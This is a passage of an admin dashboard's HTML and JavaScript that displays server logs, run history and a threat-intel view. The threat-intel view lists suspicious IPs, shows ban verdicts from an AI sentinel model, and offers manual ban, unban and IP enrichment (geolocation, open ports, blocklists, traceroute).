.ban-btn.unban{color:var(--green);border-color:rgba(74,222,128,0.4)}
|
|
.ban-btn.unban:hover{background:rgba(74,222,128,0.1)}
|
|
.threat-summary{display:grid;grid-template-columns:repeat(3,1fr);gap:8px;margin-bottom:16px}
|
|
.ts-box{background:rgba(0,0,0,0.3);border:2px solid var(--border);border-radius:2px;padding:12px;text-align:center;backdrop-filter:blur(16px)}
|
|
.ts-val{font-family:'JetBrains Mono',monospace;font-size:20px;font-weight:700}
|
|
.ts-val.red{color:var(--red)}
|
|
.ts-val.green{color:var(--green)}
|
|
.ts-val.amber{color:#f59e0b}
|
|
.ts-label{font-family:'JetBrains Mono',monospace;font-size:8px;text-transform:uppercase;letter-spacing:1.5px;color:var(--text2);margin-top:4px}
|
|
.tag{font-family:'JetBrains Mono',monospace;font-size:9px;text-transform:uppercase;letter-spacing:1px;padding:3px 8px;border:1px solid;border-radius:1px;font-weight:600}
|
|
</style>
|
|
</head><body>
|
|
<canvas id="bg-grid"></canvas>
|
|
<div class="scanlines"></div>
|
|
<div class="wrap">
|
|
<header>
|
|
<h1><span>Logs</span> // System View</h1>
|
|
<a class="back" href="/admin/monitor">Monitor</a>
|
|
<a class="back" href="/admin">Admin</a>
|
|
<a class="back" href="/">← Team</a>
|
|
</header>
|
|
<div class="tabs" id="tabs">
|
|
<div class="tab active" data-src="app" onclick="switchTab(this)">App Log</div>
|
|
<div class="tab" data-src="runs" onclick="switchTab(this)">Run History</div>
|
|
<div class="tab err" data-src="nginx_error" onclick="switchTab(this)">Nginx Errors</div>
|
|
<div class="tab" data-src="nginx_access" onclick="switchTab(this)">Nginx Access</div>
|
|
<div class="tab err" data-src="security" onclick="switchTab(this)">Security Raw</div>
|
|
<div class="tab err" data-src="threats" onclick="switchTab(this)">Threat Intel</div>
|
|
<div class="tab" data-src="shame" onclick="switchTab(this)" style="color:#d946ef;border-color:rgba(217,70,239,0.3)">Wall of Shame</div>
|
|
</div>
|
|
<div class="controls">
|
|
<label>Lines:</label>
|
|
<select id="log-limit" onchange="loadLogs()">
|
|
<option value="50">50</option>
|
|
<option value="100" selected>100</option>
|
|
<option value="200">200</option>
|
|
<option value="500">500</option>
|
|
</select>
|
|
<label>Filter:</label>
|
|
<input class="filter-input" id="log-filter" placeholder="grep..." oninput="filterLogs()">
|
|
<button onclick="loadLogs()">Refresh</button>
|
|
</div>
|
|
<div class="log-view" id="log-view"><div class="empty">Loading...</div></div>
|
|
</div>
|
|
<script>
|
|
!function(){var c=document.getElementById('bg-grid');if(!c)return;var x=c.getContext('2d');function resize(){c.width=window.innerWidth;c.height=window.innerHeight}resize();window.addEventListener('resize',resize);var t=0;function draw(){x.clearRect(0,0,c.width,c.height);var s=50,ox=(t*0.2)%s,oy=(t*0.1)%s;x.fillStyle='rgba(226,181,90,0.025)';for(var gx=-s+ox;gx<c.width+s;gx+=s)for(var gy=-s+oy;gy<c.height+s;gy+=s){x.beginPath();x.arc(gx,gy,0.7,0,Math.PI*2);x.fill()}t++;requestAnimationFrame(draw)}draw()}();
|
|
|
|
var currentSource = 'app';
|
|
var allLines = [];
|
|
|
|
function switchTab(el) {
|
|
document.querySelectorAll('.tab').forEach(function(t){t.classList.remove('active')});
|
|
el.classList.add('active');
|
|
currentSource = el.dataset.src;
|
|
loadLogs();
|
|
}
|
|
|
|
function esc(t){var d=document.createElement('span');d.textContent=t;return d.innerHTML}
|
|
|
|
function classifyLine(line) {
|
|
var lower = line.toLowerCase();
|
|
if (lower.indexOf('error') >= 0 || lower.indexOf('fail') >= 0 || lower.indexOf('traceback') >= 0) return 'err';
|
|
if (lower.indexOf('warn') >= 0 || lower.indexOf(' 4') >= 0) return 'warn';
|
|
return 'info';
|
|
}
|
|
|
|
function highlightStatus(text) {
|
|
return text.replace(/\s(2\d\d)\s/g, ' <span class="status-2xx">$1</span> ')
|
|
.replace(/\s(3\d\d)\s/g, ' <span class="status-3xx">$1</span> ')
|
|
.replace(/\s(4\d\d)\s/g, ' <span class="status-4xx">$1</span> ')
|
|
.replace(/\s(5\d\d)\s/g, ' <span class="status-5xx">$1</span> ');
|
|
}
|
|
|
|
function renderLines(lines) {
|
|
var view = document.getElementById('log-view');
|
|
if (!lines.length) { view.textContent = ''; var e = document.createElement('div'); e.className = 'empty'; e.textContent = 'No log entries'; view.appendChild(e); return; }
|
|
view.textContent = '';
|
|
lines.forEach(function(line) {
|
|
var div = document.createElement('div');
|
|
div.className = 'log-line ' + classifyLine(line);
|
|
div.innerHTML = highlightStatus(esc(line));
|
|
view.appendChild(div);
|
|
});
|
|
view.scrollTop = view.scrollHeight;
|
|
}
|
|
|
|
function renderRuns(runs) {
|
|
var view = document.getElementById('log-view');
|
|
if (!runs.length) { view.textContent = ''; var e = document.createElement('div'); e.className = 'empty'; e.textContent = 'No run history'; view.appendChild(e); return; }
|
|
view.textContent = '';
|
|
runs.forEach(function(r) {
|
|
var card = document.createElement('div');
|
|
card.className = 'run-card' + (r.errors && r.errors.length ? ' has-errors' : '');
|
|
var row = document.createElement('div');
|
|
row.className = 'run-row';
|
|
function addTag(text, cls) { var t = document.createElement('span'); t.className = 'tag ' + cls; t.textContent = text; row.appendChild(t); }
|
|
addTag(r.mode, 'tag-mode');
|
|
addTag(r.user || '?', 'tag-time');
|
|
if (r.duration) addTag(r.duration + 's', 'tag-time');
|
|
addTag((r.response_count || 0) + ' responses', 'tag-time');
|
|
if (r.errors && r.errors.length) addTag(r.errors.length + ' errors', 'tag-err');
|
|
else addTag('ok', 'tag-ok');
|
|
card.appendChild(row);
|
|
var p = document.createElement('div'); p.className = 'run-prompt'; p.textContent = r.prompt || ''; card.appendChild(p);
|
|
if (r.errors) r.errors.forEach(function(e) {
|
|
var el = document.createElement('div'); el.className = 'run-error';
|
|
el.textContent = (e.model || '?') + ': ' + (e.error || 'unknown');
|
|
card.appendChild(el);
|
|
});
|
|
view.appendChild(card);
|
|
});
|
|
}
|
|
|
|
function filterLogs() {
|
|
var q = document.getElementById('log-filter').value.toLowerCase();
|
|
if (!q) { renderLines(allLines); return; }
|
|
renderLines(allLines.filter(function(l) { return l.toLowerCase().indexOf(q) >= 0; }));
|
|
}
|
|
|
|
async function loadLogs() {
|
|
var limit = document.getElementById('log-limit').value;
|
|
var view = document.getElementById('log-view');
|
|
view.textContent = '';
|
|
var ld = document.createElement('div'); ld.className = 'empty'; ld.textContent = 'Loading...'; view.appendChild(ld);
|
|
try {
|
|
if (currentSource === 'threats') {
|
|
await loadThreats();
|
|
return;
|
|
}
|
|
if (currentSource === 'shame') {
|
|
await loadWallOfShame();
|
|
return;
|
|
}
|
|
var r = await fetch('/api/admin/logs?source=' + currentSource + '&limit=' + limit);
|
|
var d = await r.json();
|
|
if (currentSource === 'runs') {
|
|
renderRuns(d.runs || []);
|
|
} else {
|
|
allLines = d.lines || [];
|
|
filterLogs();
|
|
}
|
|
} catch(e) {
|
|
view.textContent = '';
|
|
var err = document.createElement('div'); err.className = 'empty'; err.textContent = 'Error loading logs: ' + e.message; view.appendChild(err);
|
|
}
|
|
}
|
|
|
|
async function loadThreats() {
|
|
var view = document.getElementById('log-view');
|
|
try {
|
|
var r = await fetch('/api/admin/security?sort=' + currentSort);
|
|
var d = await r.json();
|
|
var ips = d.ips || [];
|
|
|
|
// Also fetch sentinel status
|
|
var sr = await fetch('/api/admin/sentinel').catch(function(){return{json:function(){return{}}}});
|
|
var sentinel = await sr.json();
|
|
|
|
view.textContent = '';
|
|
|
|
// Sentinel status card
|
|
var sentinelCard = document.createElement('div');
|
|
sentinelCard.style.cssText = 'background:rgba(0,0,0,0.3);border:2px solid rgba(217,70,239,0.3);border-radius:2px;padding:8px 12px;margin-bottom:12px;backdrop-filter:blur(16px)';
|
|
var sHeader = document.createElement('div');
|
|
sHeader.style.cssText = 'display:flex;align-items:center;gap:8px;margin-bottom:8px';
|
|
var sDot = document.createElement('div');
|
|
sDot.style.cssText = 'width:8px;height:8px;border-radius:50%;background:#d946ef;box-shadow:0 0 8px #d946ef;animation:pulse-dot 2s ease-in-out infinite';
|
|
var sTitle = document.createElement('span');
|
|
sTitle.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:11px;text-transform:uppercase;letter-spacing:1.5px;color:#d946ef;font-weight:700';
|
|
sTitle.textContent = 'AI Sentinel — ' + (sentinel.model || '?');
|
|
sHeader.appendChild(sDot);sHeader.appendChild(sTitle);
|
|
|
|
// Inline stats + countdown — all in one row
|
|
var ss = sentinel.stats || {};
|
|
var nextIn = sentinel.next_scan_in || 0;
|
|
var interval = sentinel.interval || 300;
|
|
var pct = interval > 0 ? ((interval - nextIn) / interval) : 0;
|
|
|
|
// Mini ring
|
|
var ring = document.createElement('span');
|
|
ring.style.cssText = 'position:relative;width:28px;height:28px;flex-shrink:0;display:inline-block;vertical-align:middle;margin-left:auto';
|
|
ring.innerHTML = '<svg width="28" height="28" viewBox="0 0 28 28"><circle cx="14" cy="14" r="11" fill="none" stroke="#2a2d35" stroke-width="2.5"/><circle cx="14" cy="14" r="11" fill="none" stroke="#d946ef" stroke-width="2.5" stroke-linecap="round" stroke-dasharray="'+(2*Math.PI*11).toFixed(1)+'" stroke-dashoffset="'+((1-pct)*2*Math.PI*11).toFixed(1)+'" transform="rotate(-90 14 14)" style="transition:stroke-dashoffset 1s"/></svg>';
|
|
var countTxt = document.createElement('span');
|
|
countTxt.id = 'sentinel-countdown';
|
|
countTxt.style.cssText = 'position:absolute;inset:0;display:flex;align-items:center;justify-content:center;font-family:JetBrains Mono,monospace;font-size:8px;font-weight:700;color:#d946ef';
|
|
countTxt.textContent = Math.ceil(nextIn) + '';
|
|
ring.appendChild(countTxt);
|
|
sHeader.appendChild(ring);
|
|
|
|
// Compact stats inline
|
|
var inlineStats = document.createElement('span');
|
|
inlineStats.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:#7a7872;display:flex;gap:10px;margin-left:8px';
|
|
inlineStats.innerHTML = '<span><b style="color:#d946ef">'+(ss.scans||0)+'</b> scans</span><span><b style="color:#e05252">'+(ss.bans||0)+'</b> bans</span>';
|
|
sHeader.appendChild(inlineStats);
|
|
|
|
sentinelCard.appendChild(sHeader);
|
|
|
|
// Countdown synced to server's next_scan_ts
|
|
// Store the absolute target time so refresh doesn't reset
|
|
if (window._sentinelTimer) clearInterval(window._sentinelTimer);
|
|
var serverNow = sentinel.server_time || (Date.now()/1000);
|
|
var nextScanTs = serverNow + nextIn;
|
|
window._sentinelTargetTs = nextScanTs;
|
|
window._sentinelServerOffset = serverNow - (Date.now()/1000); // clock difference
|
|
window._sentinelTimer = setInterval(function(){
|
|
var localNow = (Date.now()/1000) + (window._sentinelServerOffset||0);
|
|
var remaining = Math.max(0, (window._sentinelTargetTs||0) - localNow);
|
|
var el = document.getElementById('sentinel-countdown');
|
|
if (el) {
|
|
if (remaining > 0) { el.textContent = Math.ceil(remaining); el.style.color = '#d946ef'; }
|
|
else { el.textContent = '✓'; el.style.color = '#4ade80'; }
|
|
}
|
|
}, 1000);
|
|
|
|
if (ss.last_error) {
|
|
var sErr = document.createElement('div');
|
|
sErr.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:#e05252;border-left:2px solid #e05252;padding-left:8px;margin-bottom:4px';
|
|
sErr.textContent = 'Error: ' + ss.last_error;
|
|
sentinelCard.appendChild(sErr);
|
|
}
|
|
// Recent AI verdicts — collapsible
|
|
var verdicts = sentinel.recent_verdicts || [];
|
|
if (verdicts.length) {
|
|
var vToggle = document.createElement('div');
|
|
vToggle.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:1.5px;color:#d946ef;margin:4px 0 0;opacity:0.5;cursor:pointer';
|
|
vToggle.textContent = '▶ ' + verdicts.length + ' recent verdicts';
|
|
var vList = document.createElement('div');
|
|
vList.style.display = 'none';
|
|
vToggle.onclick = function(){
|
|
if (vList.style.display === 'none') { vList.style.display = 'block'; vToggle.textContent = '▼ ' + verdicts.length + ' recent verdicts'; vToggle.style.opacity = '1'; }
|
|
else { vList.style.display = 'none'; vToggle.textContent = '▶ ' + verdicts.length + ' recent verdicts'; vToggle.style.opacity = '0.5'; }
|
|
};
|
|
sentinelCard.appendChild(vToggle);
|
|
verdicts.slice(0,8).forEach(function(v){
|
|
var vLine = document.createElement('div');
|
|
vLine.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;color:#7a7872;padding:3px 0;border-bottom:1px solid rgba(42,45,53,0.3);display:flex;gap:8px';
|
|
var actionColor = v.action === 'ban' ? '#e05252' : v.action === 'monitor' ? '#f59e0b' : '#7a7872';
|
|
vLine.innerHTML = '<span style="color:'+actionColor+';min-width:50px;font-weight:700">'+esc(v.action||'?').toUpperCase()+'</span>'
|
|
+ '<span style="min-width:120px">'+esc(v.ip||'?')+'</span>'
|
|
+ '<span style="color:#c084fc">'+esc(v.attack_type||'?')+'</span>'
|
|
+ '<span style="flex:1;opacity:0.6">'+esc(v.reason||'')+'</span>';
|
|
vList.appendChild(vLine);
|
|
});
|
|
sentinelCard.appendChild(vList);
|
|
}
|
|
view.appendChild(sentinelCard);
|
|
|
|
// Summary stats
|
|
var summary = document.createElement('div');
|
|
summary.className = 'threat-summary';
|
|
var critical = ips.filter(function(i){return i.threat==='critical'}).length;
|
|
var high = ips.filter(function(i){return i.threat==='high'}).length;
|
|
var banned = d.total_banned || 0;
|
|
[{v:critical,l:'Critical IPs',c:'red'},{v:high,l:'High Threat',c:'amber'},{v:banned,l:'Currently Banned',c:'green'}].forEach(function(s){
|
|
var box = document.createElement('div'); box.className = 'ts-box';
|
|
var val = document.createElement('div'); val.className = 'ts-val ' + s.c; val.textContent = s.v;
|
|
var lab = document.createElement('div'); lab.className = 'ts-label'; lab.textContent = s.l;
|
|
box.appendChild(val); box.appendChild(lab); summary.appendChild(box);
|
|
});
|
|
view.appendChild(summary);
|
|
|
|
if (!ips.length) {
|
|
var e = document.createElement('div'); e.className = 'empty'; e.textContent = 'No external IP activity recorded';
|
|
view.appendChild(e); return;
|
|
}
|
|
|
|
// Sort controls + mass action bar
|
|
var toolbar = document.createElement('div');
|
|
toolbar.style.cssText = 'display:flex;gap:8px;align-items:center;margin-bottom:12px;flex-wrap:wrap';
|
|
var sortLabel = document.createElement('span');
|
|
sortLabel.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;text-transform:uppercase;letter-spacing:1px;color:#7a7872';
|
|
sortLabel.textContent = 'Sort:';
|
|
toolbar.appendChild(sortLabel);
|
|
['hits','threat','recent','banned'].forEach(function(s){
|
|
var btn = document.createElement('button');
|
|
btn.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;text-transform:uppercase;letter-spacing:0.5px;padding:4px 10px;border:2px solid '+(currentSort===s?'#e2b55a':'#2a2d35')+';border-radius:2px;background:transparent;color:'+(currentSort===s?'#e2b55a':'#7a7872')+';cursor:pointer';
|
|
btn.textContent = s;
|
|
btn.onclick = function(){ currentSort=s; loadThreats(); };
|
|
toolbar.appendChild(btn);
|
|
});
|
|
// Mass action buttons
|
|
var spacer = document.createElement('div'); spacer.style.flex = '1'; toolbar.appendChild(spacer);
|
|
var selCount = document.createElement('span'); selCount.id = 'sel-count';
|
|
selCount.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;color:#7a7872';
|
|
toolbar.appendChild(selCount);
|
|
var massBan = document.createElement('button'); massBan.className = 'ban-btn ban';
|
|
massBan.textContent = 'Ban Selected'; massBan.onclick = function(){ massAction('ban'); };
|
|
toolbar.appendChild(massBan);
|
|
var massUnban = document.createElement('button'); massUnban.className = 'ban-btn unban';
|
|
massUnban.textContent = 'Unban Selected'; massUnban.onclick = function(){ massAction('unban'); };
|
|
toolbar.appendChild(massUnban);
|
|
view.appendChild(toolbar);
|
|
|
|
ips.forEach(function(ip) {
|
|
var card = document.createElement('div');
|
|
card.className = 'threat-card ' + ip.threat + (ip.banned ? ' banned' : '');
|
|
card.id = 'ip-' + ip.ip.replace(/\./g, '-');
|
|
|
|
// Checkbox for mass selection
|
|
var cb = document.createElement('input'); cb.type = 'checkbox';
|
|
cb.className = 'ip-check'; cb.dataset.ip = ip.ip;
|
|
cb.style.cssText = 'width:16px;height:16px;cursor:pointer;flex-shrink:0;accent-color:#e2b55a;margin-top:2px';
|
|
cb.onchange = updateSelCount;
|
|
card.appendChild(cb);
|
|
|
|
var ipEl = document.createElement('div'); ipEl.className = 'threat-ip'; ipEl.textContent = ip.ip;
|
|
card.appendChild(ipEl);
|
|
|
|
var info = document.createElement('div'); info.className = 'threat-info';
|
|
var row = document.createElement('div'); row.className = 'threat-row';
|
|
function addTag(text, cls) { var t = document.createElement('span'); t.className = 'tag ' + cls; t.textContent = text; row.appendChild(t); }
|
|
addTag(ip.threat, ip.threat === 'critical' ? 'tag-err' : ip.threat === 'high' ? 'tag-mode' : 'tag-time');
|
|
addTag(ip.hits + ' hits', 'tag-time');
|
|
if (ip.exploit_scans) addTag(ip.exploit_scans + ' scans', 'tag-err');
|
|
if (ip.login_fails) addTag(ip.login_fails + ' login fails', 'tag-err');
|
|
if (ip.ua_count > 1) addTag(ip.ua_count + ' UAs', 'tag-mode');
|
|
if (ip.banned) addTag('BANNED', 'tag-ok');
|
|
if (ip.ban_jails && ip.ban_jails.length) addTag(ip.ban_jails.join(', '), 'tag-time');
|
|
info.appendChild(row);
|
|
|
|
// Fingerprint line
|
|
var fp = document.createElement('div'); fp.className = 'threat-paths';
|
|
var fpParts = [];
|
|
if (ip.first_seen) fpParts.push('First: ' + ip.first_seen);
|
|
fpParts.push('Last: ' + ip.last_seen);
|
|
if (ip.methods) { var mm = Object.entries(ip.methods).map(function(e){return e[0]+':'+e[1]}).join(' '); if(mm) fpParts.push('Methods: '+mm); }
|
|
fp.textContent = fpParts.join(' | ');
|
|
info.appendChild(fp);
|
|
|
|
if (ip.paths && ip.paths.length) {
|
|
var paths = document.createElement('div'); paths.className = 'threat-paths';
|
|
paths.textContent = 'Paths: ' + ip.paths.join(', ');
|
|
info.appendChild(paths);
|
|
}
|
|
|
|
// AI verdicts if any
|
|
if (ip.ai_verdicts && ip.ai_verdicts.length) {
|
|
var aiDiv = document.createElement('div'); aiDiv.style.cssText = 'margin-top:4px';
|
|
ip.ai_verdicts.forEach(function(v){
|
|
var vl = document.createElement('div');
|
|
vl.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:#c084fc;padding:1px 0';
|
|
vl.textContent = 'AI: ' + (v.action||'?').toUpperCase() + ' — ' + (v.reason||'') + ' [' + (v.attack_type||'?') + ']';
|
|
aiDiv.appendChild(vl);
|
|
});
|
|
info.appendChild(aiDiv);
|
|
}
|
|
|
|
// Expandable raw logs (click to toggle)
|
|
var expandBtn = document.createElement('div');
|
|
expandBtn.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:1.5px;color:#e2b55a;cursor:pointer;margin-top:6px;opacity:0.5';
|
|
expandBtn.textContent = '▶ Show ' + (ip.log_lines?ip.log_lines.length:0) + ' log entries';
|
|
var logPanel = document.createElement('div');
|
|
logPanel.style.cssText = 'display:none;margin-top:6px;background:rgba(0,0,0,0.3);border:1px solid #2a2d35;border-radius:2px;padding:8px;max-height:250px;overflow-y:auto;font-family:JetBrains Mono,monospace;font-size:9px;line-height:1.6;color:#7a7872;white-space:pre-wrap;word-break:break-all';
|
|
if (ip.log_lines) logPanel.textContent = ip.log_lines.join('\n');
|
|
// UAs section
|
|
if (ip.uas && ip.uas.length) {
|
|
var uaHeader = document.createElement('div');
|
|
uaHeader.style.cssText = 'margin-top:8px;padding-top:6px;border-top:1px solid #2a2d35;color:#c084fc;font-size:8px;text-transform:uppercase;letter-spacing:1px;margin-bottom:4px';
|
|
uaHeader.textContent = 'User Agents (' + ip.uas.length + ')';
|
|
logPanel.appendChild(uaHeader);
|
|
ip.uas.forEach(function(ua){
|
|
var uaLine = document.createElement('div'); uaLine.style.color = '#7a7872';
|
|
uaLine.textContent = ua; logPanel.appendChild(uaLine);
|
|
});
|
|
}
|
|
expandBtn.onclick = function(){
|
|
if (logPanel.style.display === 'none') {
|
|
logPanel.style.display = 'block'; expandBtn.textContent = '▼ Hide log entries'; expandBtn.style.opacity = '1';
|
|
} else {
|
|
logPanel.style.display = 'none'; expandBtn.textContent = '▶ Show ' + (ip.log_lines?ip.log_lines.length:0) + ' log entries'; expandBtn.style.opacity = '0.5';
|
|
}
|
|
};
|
|
info.appendChild(expandBtn);
|
|
info.appendChild(logPanel);
|
|
card.appendChild(info);
|
|
|
|
var actions = document.createElement('div'); actions.className = 'threat-actions';
|
|
actions.style.cssText = 'display:flex;flex-direction:column;gap:4px;flex-shrink:0';
|
|
var enrichBtn = document.createElement('button'); enrichBtn.className = 'ban-btn';
|
|
enrichBtn.style.cssText += 'color:#d946ef;border-color:rgba(217,70,239,0.4)';
|
|
enrichBtn.textContent = 'Enrich';
|
|
enrichBtn.onclick = function(e) { e.stopPropagation(); enrichIP(ip.ip, card); };
|
|
actions.appendChild(enrichBtn);
|
|
if (ip.banned) {
|
|
var ubtn = document.createElement('button'); ubtn.className = 'ban-btn unban'; ubtn.textContent = 'Unban';
|
|
ubtn.onclick = function(e) { e.stopPropagation(); banAction(ip.ip, 'unban'); };
|
|
actions.appendChild(ubtn);
|
|
} else {
|
|
var bbtn = document.createElement('button'); bbtn.className = 'ban-btn ban'; bbtn.textContent = 'Ban';
|
|
bbtn.onclick = function(e) { e.stopPropagation(); banAction(ip.ip, 'ban'); };
|
|
actions.appendChild(bbtn);
|
|
}
|
|
card.appendChild(actions);
|
|
view.appendChild(card);
|
|
});
|
|
} catch(e) {
|
|
view.textContent = '';
|
|
var err = document.createElement('div'); err.className = 'empty'; err.textContent = 'Error: ' + e.message;
|
|
view.appendChild(err);
|
|
}
|
|
}
|
|
|
|
var currentSort = 'hits';
|
|
|
|
function updateSelCount() {
|
|
var checks = document.querySelectorAll('.ip-check:checked');
|
|
var el = document.getElementById('sel-count');
|
|
if (el) el.textContent = checks.length ? checks.length + ' selected' : '';
|
|
}
|
|
|
|
async function massAction(action) {
|
|
var checks = document.querySelectorAll('.ip-check:checked');
|
|
if (!checks.length) return;
|
|
var ipList = [];
|
|
checks.forEach(function(c) { ipList.push(c.dataset.ip); });
|
|
if (!confirm((action === 'ban' ? 'Ban' : 'Unban') + ' ' + ipList.length + ' IPs?\n\n' + ipList.join('\n'))) return;
|
|
try {
|
|
var r = await fetch('/api/admin/security/mass-ban', {
|
|
method: 'POST', headers: {'Content-Type': 'application/json'},
|
|
body: JSON.stringify({ips: ipList, action: action})
|
|
});
|
|
var d = await r.json();
|
|
if (d.ok) { setTimeout(function(){ loadThreats(); }, 300); }
|
|
} catch(e) { alert('Error: ' + e.message); }
|
|
}
|
|
|
|
async function enrichIP(ip, card) {
|
|
// Find or create enrichment panel in the card
|
|
var existing = card.querySelector('.enrich-panel');
|
|
if (existing) { existing.remove(); return; }
|
|
var panel = document.createElement('div');
|
|
panel.className = 'enrich-panel';
|
|
panel.style.cssText = 'background:rgba(217,70,239,0.04);border:2px solid rgba(217,70,239,0.2);border-radius:2px;padding:12px;margin-top:8px;grid-column:1/-1';
|
|
panel.textContent = '';
|
|
var loading = document.createElement('div');
|
|
loading.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;color:#d946ef';
|
|
loading.textContent = 'Enriching ' + ip + '... (geo + AI analysis)';
|
|
panel.appendChild(loading);
|
|
card.appendChild(panel);
|
|
|
|
try {
|
|
var r = await fetch('/api/admin/security/enrich', {
|
|
method:'POST', headers:{'Content-Type':'application/json'},
|
|
body: JSON.stringify({ip: ip})
|
|
});
|
|
var d = await r.json();
|
|
panel.textContent = '';
|
|
|
|
// Geo section
|
|
if (d.geo && !d.geo.error) {
|
|
var g = d.geo;
|
|
var geoDiv = document.createElement('div');
|
|
geoDiv.style.cssText = 'margin-bottom:10px';
|
|
var gTitle = document.createElement('div');
|
|
gTitle.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:2px;color:#d946ef;margin-bottom:6px;font-weight:700';
|
|
gTitle.textContent = 'Geolocation + Network';
|
|
geoDiv.appendChild(gTitle);
|
|
var gGrid = document.createElement('div');
|
|
gGrid.style.cssText = 'display:grid;grid-template-columns:repeat(auto-fit,minmax(140px,1fr));gap:6px';
|
|
var fields = [
|
|
['Location', (g.city||'?')+', '+(g.regionName||'?')+', '+(g.country||'?')],
|
|
['ISP', g.isp||'?'],
|
|
['Org', g.org||'?'],
|
|
['AS', g.as||'?'],
|
|
['Proxy', g.proxy ? 'YES' : 'No'],
|
|
['Hosting', g.hosting ? 'YES' : 'No'],
|
|
['Mobile', g.mobile ? 'YES' : 'No'],
|
|
['Timezone', g.timezone||'?']
|
|
];
|
|
fields.forEach(function(f){
|
|
var box = document.createElement('div');
|
|
box.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px';
|
|
var label = document.createElement('span'); label.style.cssText = 'color:#7a7872;font-size:8px;text-transform:uppercase;letter-spacing:1px';
|
|
label.textContent = f[0] + ': ';
|
|
var val = document.createElement('span');
|
|
val.style.color = (f[0]==='Proxy'&&g.proxy)||(f[0]==='Hosting'&&g.hosting) ? '#e05252' : '#e8e6e3';
|
|
val.textContent = f[1];
|
|
box.appendChild(label); box.appendChild(val);
|
|
gGrid.appendChild(box);
|
|
});
|
|
geoDiv.appendChild(gGrid);
|
|
panel.appendChild(geoDiv);
|
|
}
|
|
|
|
// Web-Check section (ports, blocklists)
|
|
if (d.webcheck) {
|
|
var wcDiv = document.createElement('div');
|
|
wcDiv.style.cssText = 'margin-bottom:10px';
|
|
var wcTitle = document.createElement('div');
|
|
wcTitle.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:2px;color:#d946ef;margin-bottom:6px;font-weight:700';
|
|
wcTitle.textContent = 'Deep Scan (web-check)';
|
|
wcDiv.appendChild(wcTitle);
|
|
var wcGrid = document.createElement('div');
|
|
wcGrid.style.cssText = 'display:grid;grid-template-columns:repeat(auto-fit,minmax(140px,1fr));gap:6px';
|
|
|
|
// Open ports
|
|
if (d.webcheck.ports && d.webcheck.ports.openPorts) {
|
|
var ports = d.webcheck.ports.openPorts;
|
|
var pBox = document.createElement('div'); pBox.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px';
|
|
var pLabel = document.createElement('span'); pLabel.style.cssText = 'color:#7a7872;font-size:8px;text-transform:uppercase;letter-spacing:1px';
|
|
pLabel.textContent = 'Open Ports: ';
|
|
var pVal = document.createElement('span'); pVal.style.cssText = 'color:#e05252;font-weight:700';
|
|
pVal.textContent = ports.length ? ports.join(', ') : 'none found';
|
|
pBox.appendChild(pLabel); pBox.appendChild(pVal); wcGrid.appendChild(pBox);
|
|
}
|
|
|
|
// Blocklists
|
|
if (d.webcheck.block_lists && d.webcheck.block_lists.blocklists) {
|
|
var bls = d.webcheck.block_lists.blocklists;
|
|
var blocked = bls.filter(function(b){return b.isBlocked});
|
|
var clean = bls.filter(function(b){return !b.isBlocked});
|
|
var bBox = document.createElement('div'); bBox.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;grid-column:1/-1';
|
|
var bLabel = document.createElement('span'); bLabel.style.cssText = 'color:#7a7872;font-size:8px;text-transform:uppercase;letter-spacing:1px';
|
|
bLabel.textContent = 'Blocklists: ';
|
|
var bVal = document.createElement('span');
|
|
bVal.style.cssText = 'color:' + (blocked.length ? '#e05252' : '#4ade80');
|
|
bVal.textContent = blocked.length
|
|
? blocked.length + '/' + bls.length + ' blocked (' + blocked.map(function(b){return b.server}).join(', ') + ')'
|
|
: 'Clean on all ' + bls.length + ' lists';
|
|
bBox.appendChild(bLabel); bBox.appendChild(bVal); wcGrid.appendChild(bBox);
|
|
}
|
|
|
|
// DNS
|
|
if (d.webcheck.dns) {
|
|
var dns = d.webcheck.dns;
|
|
var ptr = dns.PTR && dns.PTR.length ? dns.PTR.join(', ') : 'none';
|
|
var dBox = document.createElement('div'); dBox.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;grid-column:1/-1';
|
|
var dLabel = document.createElement('span'); dLabel.style.cssText = 'color:#7a7872;font-size:8px;text-transform:uppercase;letter-spacing:1px';
|
|
dLabel.textContent = 'Reverse DNS: ';
|
|
var dVal = document.createElement('span'); dVal.style.color = '#e8e6e3';
|
|
dVal.textContent = ptr;
|
|
dBox.appendChild(dLabel); dBox.appendChild(dVal); wcGrid.appendChild(dBox);
|
|
}
|
|
|
|
// Traceroute
|
|
if (d.webcheck.trace_route && d.webcheck.trace_route.result) {
|
|
var hops = d.webcheck.trace_route.result.filter(function(h){return typeof h === 'object' && h !== null});
|
|
if (hops.length) {
|
|
var trBox = document.createElement('div'); trBox.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;grid-column:1/-1;margin-top:4px';
|
|
var trLabel = document.createElement('span'); trLabel.style.cssText = 'color:#7a7872;font-size:8px;text-transform:uppercase;letter-spacing:1px';
|
|
trLabel.textContent = 'Traceroute (' + hops.length + ' hops): ';
|
|
trBox.appendChild(trLabel);
|
|
var trVal = document.createElement('div');
|
|
trVal.style.cssText = 'color:#e8e6e3;margin-top:4px;display:flex;flex-wrap:wrap;gap:2px;align-items:center';
|
|
hops.forEach(function(h, i) {
|
|
var hopIp = Object.keys(h)[0];
|
|
var latency = h[hopIp] ? h[hopIp][0] : '?';
|
|
var chip = document.createElement('span');
|
|
chip.style.cssText = 'background:rgba(0,0,0,0.3);border:1px solid #2a2d35;border-radius:2px;padding:2px 6px;font-size:9px;white-space:nowrap';
|
|
